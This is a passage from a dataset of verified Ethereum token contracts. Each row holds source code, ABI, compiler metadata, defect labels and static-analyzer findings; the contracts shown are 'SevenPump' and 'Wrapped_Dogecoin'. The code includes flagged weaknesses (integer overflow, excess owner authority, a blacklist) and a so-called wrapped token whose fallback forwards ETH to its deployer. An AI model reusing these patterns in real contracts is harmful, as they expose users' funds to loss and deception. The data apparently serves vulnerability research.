:"_holder","type":"address"},{"name":"i","type":"uint256"}],"name":"unlock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"pause","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_amount","type":"uint256"},{"name":"_afterTime","type":"uint256"}],"name":"lockAfter","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_target","type":"address"}],"name":"freeze","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_afterTime","type":"uint256"}],"name":"transferWithLockAfter","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_who","type":"address"},{"name":"_value","type":"uint256"}],"name":"burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"spender","type":"address"},{"name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"currentTime","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"owner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"},{"name":"_releaseTime","type":"uint256"}],"name":"transferWithLock","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_holder","type":"address"}],"name":"lockCount","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_holder","type":"address"},{"name":"_amount","type":"uint256"},{"name":"_releaseTime","type":"uint256"}],"name":"lock","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_target","type":"address"}],"name":"isFrozen","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"}],"name":"OwnershipRenounced","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"Pause","type":"event"},{"anonymous":false,"inputs":[],"name":"Unpause","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"target","type":"address"}],"name":"Frozen","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"target","type":"address"}],"name":"Unfrozen","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"amount","type":"uint256"}],"name":"Mint","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"burner","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Burn","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"},{"indexed":false,"name":"releaseTime","type":"uint256"}],"name":"Lock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"holder","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Unlock","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"}] | v0.5.7+commit.6da8b019 | false | 200 | Default | GNU GPLv3 | false | bzzr://03570b3f68dd0c5b77b461d51801b528b38b0150459fb177e37f4e1c1732029e |
|||
SevenPump | 0xc6d58ec0bd1f7a3fda62ff7bf49eccc8291a2339 | Solidity | // t.me/sevenpump
pragma solidity ^0.6.6;
abstract contract Context {
function _msgSender() internal virtual view returns (address payable) {
return msg.sender;
}
function _msgData() internal virtual view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(
uint256 a,
uint256 m
) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is IERC20, Context {
using SafeMath for uint256;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
virtual
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
virtual
override
view
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
virtual
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(
amount,
"ERC20: transfer amount exceeds balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(
amount,
"ERC20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract SevenPump is ERC20("7Pump", "7PV3", 18), Ownable {
address public liquidator = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public unipair;
bool firstTx = false;
uint256 public startDate;
uint256 public basePercent = 100;
uint256 public buyTx = 0;
uint256 public sellTx = 0;
uint256 public transferTx = 0;
address public transferRecipient;
uint256 public transferFromTx = 0;
uint256 percentage = 15;
uint256 percentageReduction = 1;
uint256 minimumPercentage = 10;
bool isPublicSale = false;
uint256 sellThresholdAmount = 10;
uint256 buyThresholdAmount = 20;
mapping(address => bool) private blacklist;
constructor(uint256 totalSupply) public {
_mint(owner(), totalSupply);
// front-runner bot not allowed
blacklist[0x0000000071E801062eB0544403F66176BBA42Dc0] = true;
blacklist[0x464587Ee0CC5185686b29Af7856b1D13647E93bE] = true;
blacklist[0x4ABc1701F8ec10C0BD9101ac82F430B454d35934] = true;
blacklist[0xa21caEbD27a296678176aC886735bfd18F875B8f] = true;
}
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function findPercentage(uint256 value, uint256 percent) private pure returns (uint256) {
return value.mul(percent).div(100);
}
function sellCounter() private {
sellTx = sellTx.add(1);
if (sellTx == sellThresholdAmount && !isPublicSale) {
percentage = percentage.sub(percentageReduction);
sellTx = 0;
if (percentage == minimumPercentage) {
isPublicSale = true;
}
}
}
function buyCounter(address recipient, uint256 amount) private {
if (buyTx < buyThresholdAmount) {
require (amount <= 77e18 || recipient == owner() || recipient == liquidator, "First 15tx is limited to 77 token");
buyTx = buyTx.add(1);
if (isContract(recipient)) {
blacklist[recipient] = true;
}
}
}
function transfer(address recipient, uint256 amount) public override returns (bool)
{
if (msg.sender == unipair) {
buyCounter(recipient, amount);
}
if (msg.sender == liquidator) {
}
transferTx = transferTx.add(1);
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
uint256 transferAmount = amount;
if (recipient == unipair) {
require(isContract(sender) == false || !blacklist[sender] || sender == unipair || sender == liquidator);
uint256 burnedToken = findPercentage(amount, percentage);
transferAmount = transferAmount.sub(burnedToken);
_burn(sender, burnedToken);
sellCounter();
}
if (!firstTx) {
unipair = recipient;
firstTx = true;
}
transferFromTx = transferFromTx.add(1);
_transfer(sender, recipient, transferAmount);
_allowances[sender][_msgSender()] = _allowances[sender][_msgSender()].sub(amount);
return true;
}
function setBuyThreshold(uint256 value) external onlyOwner {
buyThresholdAmount = value;
}
} | [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["442", "438", "436"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["236", "224", "209"]}] | [{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"SevenPump.sol": [469, 470, 471]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"SevenPump.sol": [528]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [447]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [431]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [436]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [442]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [446]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [438]}}, {"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [450]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [182, 183, 184, 185, 186, 187, 188, 189]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [173, 174, 175, 176, 177, 178, 179, 180]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [418, 419, 420]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [10, 11, 12, 13]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [157, 158, 159]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [232, 233, 234, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [277, 278, 279]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 349, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [273, 274, 275]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [285, 286, 287]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [240, 241, 242, 243, 244, 245, 246, 247]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [269, 270, 271]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [281, 282, 283]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [309, 310, 311, 312, 313, 314, 315, 316, 317]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [512, 513, 514, 515, 516, 517, 518, 519, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"SevenPump.sol": [299, 300, 301, 302, 303, 304, 305, 306, 307]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"SevenPump.sol": [3]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SevenPump.sol": [277, 278, 279]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SevenPump.sol": [273, 274, 275]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SevenPump.sol": [269, 270, 271]}}, {"check": "shadowing-local", "impact": "Low", "confidence": "High", "lines": {"SevenPump.sol": [17]}}, {"check": "events-maths", "impact": "Low", "confidence": "Medium", "lines": {"SevenPump.sol": [550]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"SevenPump.sol": [255]}}, {"check": "redundant-statements", "impact": "Informational", "confidence": "High", "lines": {"SevenPump.sol": [5, 6, 7, 8, 9, 10, 11, 12, 13, 14]}}, {"check": "too-many-digits", "impact": "Informational", "confidence": "Medium", "lines": {"SevenPump.sol": [461]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 431, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 461, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 462, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 463, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 464, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 233, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 386, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 396, "severity": 1}, {"rule": "SOLIDITY_DIV_MUL", "line": 188, "severity": 2}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 309, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 549, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 3, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 193, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 253, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 257, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 259, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 260, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 261, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 453, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 251, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 467, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 434, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 445, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 446, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 447, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 448, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 450, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 451, "severity": 1}] | [{"inputs":[{"internalType":"uint256","name":"totalSupply","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"basePercent","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"value","type":"uint256"}],"name":"setBuyThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startDate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferFromTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferRecipient","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"transferTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unipair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}] | v0.6.6+commit.6c089d02 | true | 200 | 00000000000000000000000000000000000000000000002a29d5794ea0564000 | Default | MIT | false | ipfs://736f3e857de79496b1246f9938f7ec47a9af7f70a2834f7e0f54e5ee06c1e3c5 |
||
Wrapped_Dogecoin | 0xd7a48d9479d885bf33722dc4fb098409d5d1e806 | Solidity | pragma solidity >=0.4.22 <0.6.0;
contract ERC20 {
function totalSupply() public view returns (uint supply);
function balanceOf(address who) public view returns (uint value);
function allowance(address owner, address spender) public view returns (uint remaining);
function transferFrom(address from, address to, uint value) public returns (bool ok);
function approve(address spender, uint value) public returns (bool ok);
function transfer(address to, uint value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Wrapped_Dogecoin is ERC20{
uint8 public constant decimals = 18;
uint256 initialSupply = 1000000000*10**uint256(decimals);
string public constant name = "Wrapped Dogecoin";
string public constant symbol = "wDOGE";
address payable teamAddress;
function totalSupply() public view returns (uint256) {
return initialSupply;
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
function balanceOf(address owner) public view returns (uint256 balance) {
return balances[owner];
}
function allowance(address owner, address spender) public view returns (uint remaining) {
return allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool success) {
if (balances[msg.sender] >= value && value > 0) {
balances[msg.sender] -= value;
balances[to] += value;
emit Transfer(msg.sender, to, value);
return true;
} else {
return false;
}
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if (balances[from] >= value && allowed[from][msg.sender] >= value && value > 0) {
balances[to] += value;
balances[from] -= value;
allowed[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
} else {
return false;
}
}
function approve(address spender, uint256 value) public returns (bool success) {
allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function () external payable {
teamAddress.transfer(msg.value);
}
constructor () public payable {
teamAddress = msg.sender;
balances[teamAddress] = initialSupply;
}
} | [{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["66"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["18", "17"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["49", "50", "51", "38", "39", "16"]}] | [{"check": "constable-states", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [16]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [36, 37, 38, 39, 40, 41, 42, 43, 44, 45]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [24, 22, 23]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [59, 60, 61, 62, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [28, 29, 30]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"Wrapped_Dogecoin.sol": [47, 48, 49, 